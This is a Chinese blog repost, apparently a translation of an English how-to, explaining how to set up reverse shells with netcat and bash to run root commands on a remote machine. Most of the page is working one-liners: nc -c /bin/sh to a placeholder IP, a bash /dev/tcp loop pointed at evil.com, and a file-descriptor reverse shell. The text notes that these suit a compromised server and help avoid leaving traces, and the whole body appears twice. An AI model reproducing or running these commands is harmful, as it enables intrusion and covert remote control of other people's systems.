如何使用NetCat或BASH创建反向Shell来执行远程Root命令
2013-12-20 09:28
796 查看
反向shell(Reverse shell)是一种往远程机器发送shell命令的技术,当远程机器处在防火墙等其它东西后面时,这种技术会变得非常有用。你也许会说,“一个普通的shell或简单的SSH通道不是也能实现这些吗?”不,无法实现。在网上,我看到很多人对普通shell和反向shell之间的区别分不清。在我们开始下面的内容前,先弄清楚这些概念。
反向shell经常会被黑客用来做一些不法行为,例如入侵了一台服务器后,他们会设置一个反向shell,将来他们就能通过这个shell轻松的访问这台远程计算机。我相信你是不会用它来做这种事情的。
安装了netcat
nc -c /bin/sh <你的IP> <任何一个未封锁的端口>
你甚至能通过netcat来pipe BASH。
/bin/sh | nc <你的IP> <任何未封锁的端口>
然后监听这个shell:
nc -l -p <相同的端口> -vvv
监听shell:
nc -l -p <任何未封锁的端口> -vvv
先创建一个新的描述符,分配到一个网络节点。这样我们可以对这个描述符进行读写。
exec 5<>/dev/tcp/evil.com/<相同的端口> $ cat <&5 | while read line; do $line 2>&5 >&5; done
或另外一个反向shell:
0<&196;exec 196<>/dev/tcp/<你的IP>/<相同的端口>; sh <&196 >&196 2>&196
这样,你就可以轻松是通过netcat发送任何命令了。
[英文原文:How to Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASH ]
via : http://www.aqee.net/create-reverse-shell-to-remotely-execute-root-commands-using-netcat-or-bash/
反向Shell(Reverse Shell)
反向shell的工作方式是远程计算机将自己的shell发送给特定的用户,而不是将shell绑定到一个端口上。后者在很多环境中是无法访问的。这样,你就可以对远程服务器执行root命令。Bind Shell
bind shell是用户用BSAH,将shell绑定到一个本地端口上,这样任何人都可以在本地网络中发送命令。反向shell经常会被黑客用来做一些不法行为,例如入侵了一台服务器后,他们会设置一个反向shell,将来他们就能通过这个shell轻松的访问这台远程计算机。我相信你是不会用它来做这种事情的。
环境要求
远程Unix主机安装了netcat
使用NetCat实现反向shell交互
当通过shell登录到远程主机后,下面的指令能轻松的将shell发送到你的机器上:nc -c /bin/sh <你的IP> <任何一个未封锁的端口>
你甚至能通过netcat来pipe BASH。
/bin/sh | nc <你的IP> <任何未封锁的端口>
然后监听这个shell:
nc -l -p <相同的端口> -vvv
通过BASH实现反向shell
这种技术是当远程机器上没有netcat或你想做一些非自然的事情而不想留下太重的痕迹时使用。监听shell:
nc -l -p <任何未封锁的端口> -vvv
先创建一个新的描述符,分配到一个网络节点。这样我们可以对这个描述符进行读写。
exec 5<>/dev/tcp/evil.com/<相同的端口> $ cat <&5 | while read line; do $line 2>&5 >&5; done
或另外一个反向shell:
0<&196;exec 196<>/dev/tcp/<你的IP>/<相同的端口>; sh <&196 >&196 2>&196
这样,你就可以轻松是通过netcat发送任何命令了。
[英文原文:How to Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASH ]
via : http://www.aqee.net/create-reverse-shell-to-remotely-execute-root-commands-using-netcat-or-bash/
相关文章推荐
- 如何使用NetCat或BASH创建反向Shell来执行远程Root命令
- 如何使用netcat或bash创建反向shell来执行远程root命令
- 如何使用NetCat或BASH创建反向Shell来执行操作
- 谨慎使用DLL_THREAD_ATTACH,以及利用DLL_THREAD_ATTACH来阻止远程线程的创建执行
- java中如何使用jsch远程连接linux服务器并执行命令
- 如何使用git创建远程仓库(供局域网多人使用)
- 如何使用 paramiko 模块来实现远程执行OS命令和文件上传下载?
- 如何使用 PsExec 执行远程命令
- 如何使用Go语言实现远程执行命令
- python 8-1 如何使用多线程,Thread创建线程,执行函数赋值给target//类+函数放在run方法中执行
- [Copy]如何使用qemu执行交叉环境下的内核镜像文件
- asp.net如何使用cookie(创建、保存、读取)
- 如何使用 Ansible 创建 AWS ec2 密钥
- 如何使用CSS3创建一个漂亮的图标
- 如何使用setInterval执行带有参数的函数
- 如何使用win7自带的备份还原以及创建系统镜像------傻瓜式教程
- 解决“远程会话已断开连接,因为访问被拒绝导致许可证存储的创建失败,请使用提升的权限运行远程桌面客户端”问题
- Linux下使用SSH非交互式远程执行命令脚本---ssh无密码登陆
- 如何使用IntelliJ IDEA 创建基于Maven构建的Web项目的过程
- 如何使用 CoreText 创建一个简单的杂志应用